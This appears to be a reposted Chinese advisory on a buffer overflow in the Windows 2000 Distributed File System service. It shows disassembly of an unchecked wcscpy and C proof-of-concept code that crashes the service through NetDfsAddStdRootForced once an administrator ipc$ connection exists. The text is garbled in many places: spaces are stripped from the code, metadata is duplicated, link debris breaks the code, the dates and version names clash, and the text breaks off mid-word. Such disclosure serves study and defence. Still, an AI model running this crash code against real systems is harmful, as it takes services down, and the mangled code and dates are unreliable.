最近發(fā)現(xiàn)的一個Distributed File System服務(wù)遠程溢出問題

第第頁最近發(fā)現(xiàn)的一個DistributedFileSystem服務(wù)遠程溢出問題最近發(fā)現(xiàn)的一個DistributedFileSystem服務(wù)遠程溢出問題

發(fā)表于：2023-05-25來源：：點擊數(shù)：標(biāo)簽：Distributed最近發(fā)現(xiàn)File一個

創(chuàng)建時間：2023-03-13文章屬性：轉(zhuǎn)載著者：MID=11092">rootshell(sysadm_at_21)最近發(fā)現(xiàn)的一個DistributedFileSystem服務(wù)遠程溢出問題date:03/13/2023author:fzk:1734398MSN:sysadm@21email:sysadm@21URL:http://www.ns-

創(chuàng)建時間：2023-03-13

文章屬性：轉(zhuǎn)載

著者：MID=11092">rootshell(sysadm_at_21)

最近發(fā)現(xiàn)的一個DistributedFileSystem服務(wù)遠程溢出問題

date:03/13/2023

author:fzk

:1734398

MSN:sysadm@21

email:sysadm@21

URL:

最近發(fā)現(xiàn)的一個DistributedFileSystem服務(wù)遠程溢出問題

創(chuàng)建時間：2023-03-13

文章屬性：原創(chuàng)

文章提交：rootshell(sysadm_at_21)

最近發(fā)現(xiàn)的一個DistributedFileSystem服務(wù)遠程溢出問題

date:03/13/2023

author:fzk

:1734398

MSN:sysadm@21

email:sysadm@21

URL:

1.前言:

最近在windows2000advancedserver下研究DistributedFileSystem服務(wù)的時候,在當(dāng)中一個函數(shù)發(fā)現(xiàn)一個

溢出,經(jīng)過測試,發(fā)現(xiàn)需要遠程通過目標(biāo)機的管理員組成員和DistributedFileSystem服務(wù)建立namepipe,才能發(fā)生

溢出,不知道這樣的問題,屬于不屬于安全漏洞呢?

今天決定發(fā)出來給大家共同研究一下,說不定有可能其他高手發(fā)現(xiàn)不需要通過目標(biāo)機的管理員組成員權(quán)限來進行

溢出,那這個就算真正的（安全）問題了,而且危害性肯定也強了,那當(dāng)然也記得給我發(fā)個信通知一下如何實現(xiàn).:)

2.問題細(xì)節(jié):

這個溢出問題,是發(fā)生在DistributedFileSystem服務(wù)里面的NetrDfsAddStdRootForced函數(shù)在處理第四個參數(shù)

上面,這個第四個參數(shù)是會作為第五個參數(shù)傳遞給SetupStdDfs的,在這個函數(shù)里面調(diào)用wcscpy,問題出在這里沒有進行

邊界檢查,導(dǎo)致溢出的代碼如下:

NetrDfsAddStdRootForced函數(shù)

.text:0100A2B5movedi,[ebp+arg_C]

.text:0100A2B8testedi,edi

.text:0100A2AFjzloc_100A373

.text:0100A31Fpushedi

.text:0100A320push1

.text:0100A322push[ebp+arg_8]

.text:0100A325leaeax,[ebp+var_214]

.text:0100A32Bpush[ebp+arg_4]

.text:0100A32Epusheax

.text:0100A32FcallSetupStdDfs

SetupStdDfs函數(shù)

.text:01007FB4pushebp

.text:01007FB5movebp,esp

.text:01007FB7subesp,658h

.text:01007FBDpushebx

.text:01007FBEmovebx,ds:wcscpy

.text:01007FC4pushesi

.text:01007FC5pushedi

.text:01007FC6xoresi,esi

.text:01007FC8xoredi,edi

.text:01007FCAcmp[ebp+arg_10],esi

.text:01007FCDjnzshortloc_1007FE2

.text:01007FE2loc_1007FE2:

.text:01007FE2push[ebp+arg_10]

.text:01007FE5leaeax,[ebp+var_43C]

.text:01007FEBpusheax

.text:01007FECcallebx;wcscpy

調(diào)用流程為:

NetrDfsAddStdRootForced-SetupStdDfs-wcscpy

3.溢出測試方法:

(1).先使用目標(biāo)機器的管理員組成員建立一個ipc$連接

netuse\目標(biāo)機器ip\ipc$管理員組成員密碼/user:管理員組成員賬號

(2).使用如下（測試）代碼（測試）:

#includestdio.h

#includestdlib.h

#includewindows.h

#includeLm.h

#includeLmdfs.h

#pragmacomment(lib,Netapi32.lib)

intmain(void)

{

wchar_ta[]=L\\ip\;//把ip替換為你的目標(biāo)機器ip

wchar_tb[4000];

LPWSTRServerName=a;

LPWSTRRootShare=Lfzk;

LPWSTRComment=Lfzk;

LPWSTRStore;

inti;

for(i=0;i2000;i++)

wcscat(b,LA);

Store=b;

if(NetDfsAddStdRootForced(ServerName,RootShare,Comment,Store)==NERR_Suclearcase/"target="_blank">ccess)

returnTRUE;

else

returnFALSE;

}

把以上代碼存為test.cpp,運行cltest.cpp編譯,然后執(zhí)行test.exe,到這里應(yīng)該目標(biāo)機器的

DistributedFileSystem服務(wù)已經(jīng)down掉了

4.附加信息:

在MSDN發(fā)現(xiàn)NetDfsAddStdRootForcedAPI在windows2023已經(jīng)被棄用了

DistributedFi